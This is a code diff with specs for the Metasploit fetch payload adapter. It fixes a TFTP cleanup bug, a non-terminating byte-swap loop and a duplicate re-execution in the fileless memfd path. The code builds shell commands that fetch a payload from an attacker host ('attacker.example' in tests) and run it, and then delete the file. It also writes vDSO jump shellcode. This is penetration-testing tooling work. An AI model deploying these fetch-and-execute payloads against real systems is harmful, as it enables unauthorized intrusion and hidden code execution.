Fix fail-safe fileless fetch review findings from PR #21548

lib/msf/core/payload/adapter/fetch.rb

@@ -352,7 +352,7 @@ def _execute_nix(get_file_cmd)
       cmds << "; #{_remote_destination_nix}& "
 
       if datastore['FETCH_DELETE']
-        cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" if datastore['FETCH_DELETE']
+        cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi"
       else
         cmds << "fi"
       end
@@ -470,6 +470,9 @@ def _generate_tftp_command(uri)
       else
         _check_tftp_file
         tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
+        # Trailing `;` matters: the shell-search fail-safe branch below
+        # concatenates this string directly in front of a closing ` fi`.
+        tftp_fetch_and_exec << "sleep #{rand(3..7)};rm -rf ./#{uri};" if datastore['FETCH_DELETE']
         if datastore['FETCH_FILELESS'] != 'none' && linux?
           get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
           return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'

lib/msf/core/payload/adapter/fetch/fileless.rb

@@ -187,80 +187,97 @@ def _generate_first_stage_shellcode(arch)
     return payload
   end
 
+  # Builds a POSIX shell `$(...)` fragment that reads $vdso_addr, formats it
+  # as a hex string zero-padded to at least `width` digits, and emits it
+  # with its byte order reversed (endianness swap for the target's
+  # little-endian jmp instruction encoding).
+  #
+  # A leading zero is inserted if the formatted hex string ends up an odd
+  # number of digits -- possible whenever $vdso_addr needs more digits than
+  # `width` pads to, e.g. a 32-bit address with the 4-digit armle/mipsle
+  # width below. Without it, the trailing `${v%??}` trim never matches on
+  # the final single character and the loop never terminates.
+  #
+  # @param width [Integer] Minimum hex digits to zero-pad $vdso_addr to.
+  # @return [String] The `$(...)` shell command substitution fragment.
+  def _hex_byte_swap_shell(width)
+    %^$(v=$(printf %0#{width}x $vdso_addr); if [ $((${#v} % 2)) -ne 0 ]; then v="0$v"; fi; o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
+  end
+
   def _generate_jmp_instruction(arch)
     #
     # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses
-    
+
     case arch
     # x64 shellcode
     # mov rax, [target address]
     # jmp rax
     when 'x64'
-      %^"48b8"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")"ffe0"^
-    
+      %^"48b8"#{_hex_byte_swap_shell(16)}"ffe0"^
+
     # x86 shellcode
     # mov eax, [target address]
     # jmp eax
     when 'x86'
-      %^"b8"$(v=$(printf %08x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")"ffe0"^
-    
+      %^"b8"#{_hex_byte_swap_shell(8)}"ffe0"^
+
     # ARM64 shellcode
     # ldr x0, #8
     # br x0
     when 'aarch64'
-      %^"4000005800001fd6"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
-    
+      %^"4000005800001fd6"#{_hex_byte_swap_shell(16)}^
+
     # ARMle shelcode
     # ldr.w r2, [pc, #4]
-    # bx    r2 
+    # bx    r2
     when 'armle'
-      %^"dff804201047"$(v=$(printf %04x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
-    
+      %^"dff804201047"#{_hex_byte_swap_shell(4)}^
+
     # ARMbe shelcode
     # ldr.w r2, [pc, #4]
-    # bx    r2 
+    # bx    r2
     when 'armbe'
       %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^
-    
+
     # MIPSEL shellcode
     # bgezal $zero, 4
     # xor $t2, $t2,$t2
     # lw	$t2, 16($ra)
     # jr $t2
     when 'mipsle'
-      %^"000011040000000026504a011000ea8f0800400100000000"$(v=$(printf %04x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
-    
+      %^"000011040000000026504a011000ea8f0800400100000000"#{_hex_byte_swap_shell(4)}^
+
     # MIPSBE shellcode
     # bgezal $zero, 4
     # xor $t2, $t2,$t2
     # lw	$t2, 16($ra)
     # jr $t2
     when 'mipsbe'
       %^"0411000000000000014a50268fea00100140000800000000"$(echo $(printf %04x $vdso_addr))^
-    
+
     # MIPS64 shellcode
     # bgezal $zero, 4
     # xor $t2, $t2,$t2
     # ld	$t2, 16($ra)
     # jr $t2
     when 'mips64'
       %^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^
-    
+
     # RISC-V 64-bit LE shellcode
     # auipc t0, 0
     # ld    t0, 12(t0)
     # jr    t0
     # .dword [target address]
     when 'riscv64le'
-      %^"9702000083b2c20067800200"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
+      %^"9702000083b2c20067800200"#{_hex_byte_swap_shell(16)}^
 
     # RISC-V 32-bit LE shellcode
     # auipc t0, 0
     # lw    t0, 12(t0)
     # jr    t0
     # .word [target address]
     when 'riscv32le'
-      %^"9702000083a2c20067800200"$(v=$(printf %08x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
+      %^"9702000083a2c20067800200"#{_hex_byte_swap_shell(8)}^
 
     else
       fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
@@ -292,7 +309,11 @@ def _generate_fileless_shell(get_file_cmd, arch)
 
   cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);'
   cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];'
-  cmd << "then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];"
+  # get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added
+  # to swallow noise like a `tee`'s terminal echo) can't clobber a redirect
+  # get_file_cmd already embeds itself (e.g. the plain `GET`-based
+  # `... >$f`) -- the inner, more specific redirect still wins.
+  cmd << "then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];"
   cmd << 'then $f & FOUND=1;break;'
   cmd << 'fi;'
   cmd << 'fi;'
@@ -325,10 +346,18 @@ def _generate_fileless_bash_search(get_file_cmd)
     # and execute it
     cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
     cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
-    cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]"
+    # get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added
+    # to swallow noise like a `tee`'s terminal echo) can't clobber a redirect
+    # get_file_cmd already embeds itself (e.g. the plain `GET`-based
+    # `... >$f`) -- the inner, more specific redirect still wins.
+    cmd << "; then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]"
     cmd << '; then $f '
     cmd << '& FOUND=1'
-    cmd << '; break'
+    # `exit`, not `break` -- a bare break would only exit this inner loop, and
+    # when this search script is concatenated with a fallback (as
+    # _execute_nix's shell-search branch does), the fallback would then run
+    # again and re-download/re-exec the payload a second time.
+    cmd << '; exit 0'
     cmd << '; fi'
     cmd << '; fi'
     cmd << '; done'

spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb

@@ -1,4 +1,5 @@
 require 'spec_helper'
+require 'tempfile'
 
 RSpec.describe Msf::Payload::Adapter::Fetch::Fileless do
   let(:harness_class) do
@@ -46,7 +47,15 @@
     subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) }
 
     it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do
-      expect(cmd).to include("if #{get_file_cmd} >/dev/null")
+      expect(cmd).to include("if (#{get_file_cmd}) >/dev/null")
+    end
+
+    it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do
+      # get_file_cmd can itself end in a raw `>$dest` redirect (e.g. the
+      # plain GET-based fetch command). Appending ` >/dev/null` directly
+      # after that, unparenthesized, would silently win and the payload
+      # would never be written to the candidate file.
+      expect(cmd).not_to include("#{get_file_cmd} >/dev/null")
     end
 
     it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do
@@ -83,7 +92,11 @@
     subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') }
 
     it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do
-      expect(cmd).to include("then if #{get_file_cmd} >/dev/null")
+      expect(cmd).to include("then if (#{get_file_cmd}) >/dev/null")
+    end
+
+    it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do
+      expect(cmd).not_to include("#{get_file_cmd} >/dev/null")
     end
 
     it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do
@@ -99,4 +112,39 @@
       expect(cmd).not_to include('head -c4 $f')
     end
   end
+
+  describe '#_hex_byte_swap_shell' do
+    def swapped_hex(padded_hex)
+      padded_hex.scan(/../).reverse.join
+    end
+
+    # Actually runs the generated shell fragment (with $vdso_addr set) through
+    # `sh`, bounded by `timeout` so a regression back to the pre-fix infinite
+    # loop fails the example instead of hanging the suite.
+    def run_fragment(width, vdso_addr)
+      fragment = harness._hex_byte_swap_shell(width)
+      Tempfile.create('hex_byte_swap_probe') do |f|
+        f.write("vdso_addr=#{vdso_addr}\necho #{fragment}\n")
+        f.flush
+        `timeout 2 sh #{f.path}`.strip
+      end
+    end
+
+    it 'reverses byte order of an address that exactly fits the padded width' do
+      result = run_fragment(8, 0x12345678)
+      expect(result).to eq(swapped_hex('12345678'))
+    end
+
+    it 'terminates and produces the correctly byte-swapped result when the address needs more digits than the padded width' do
+      # printf %04x on 0x10000 yields "10000" -- 5 (odd) hex digits, since
+      # printf only pads *up to* the given width, it doesn't clip larger
+      # values down to it. The old, unguarded ${v%??} trim loop assumed an
+      # always-even-length string and spun forever once it reached the last
+      # single leftover character; the `timeout` wrapper here turns that
+      # regression into a failing example instead of a hung spec run.
+      vdso_addr = 0x10000
+      result = run_fragment(4, vdso_addr)
+      expect(result).to eq(swapped_hex('010000'))
+    end
+  end
 end

spec/lib/msf/core/payload/adapter/fetch_spec.rb

@@ -106,4 +106,70 @@ def srvuri
       expect(harness.send(:_remote_destination_nix)).to eq('$f')
     end
   end
+
+  describe '#_generate_tftp_command' do
+    let(:harness_class) do
+      Class.new do
+        include Msf::Payload::Adapter::Fetch
+
+        def initialize
+          @datastore = {
+            'FETCH_SRVPORT' => 69,
+            'FETCH_WRITABLE_DIR' => '',
+            'FETCH_FILENAME' => '',
+            'FETCH_FILELESS' => 'none',
+            'FETCH_DELETE' => false
+          }
+        end
+        attr_accessor :datastore
+
+        def fetch_protocol
+          'TFTP'
+        end
+
+        def windows?
+          false
+        end
+
+        def srvhost
+          'attacker.example'
+        end
+      end
+    end
+
+    subject(:harness) { harness_class.new }
+
+    it 'does not append a cleanup step when FETCH_DELETE is not set' do
+      cmd = harness.send(:_generate_tftp_command, 'payload_uri')
+      expect(cmd).not_to include('rm -rf')
+    end
+
+    it 'appends a delete cleanup step, like the generic (non-tftp) fetch path does, when FETCH_DELETE is set' do
+      harness.datastore['FETCH_DELETE'] = true
+      cmd = harness.send(:_generate_tftp_command, 'payload_uri')
+      expect(cmd).to include('rm -rf ./payload_uri')
+    end
+
+    context 'when FETCH_FILELESS is shell-search' do
+      before do
+        harness.datastore['FETCH_FILELESS'] = 'shell-search'
+        harness.datastore['FETCH_DELETE'] = true
+        allow(harness).to receive(:linux?).and_return(true)
+      end
+
+      it 'still runs the delete cleanup on the fail-safe fallback path' do
+        cmd = harness.send(:_generate_tftp_command, 'payload_uri')
+        expect(cmd).to include('rm -rf ./payload_uri')
+      end
+
+      it 'closes the fail-safe if-block with a semicolon rather than corrupting the rm -rf argument list' do
+        # Concatenating the cleanup directly in front of the fail-safe
+        # branch's closing ` fi` without a separator would make `fi` a
+        # second argument to `rm -rf` instead of closing the if-block.
+        cmd = harness.send(:_generate_tftp_command, 'payload_uri')
+        expect(cmd).to include('rm -rf ./payload_uri; fi')
+        expect(cmd).not_to include('rm -rf ./payload_uri fi')
+      end
+    end
+  end
 end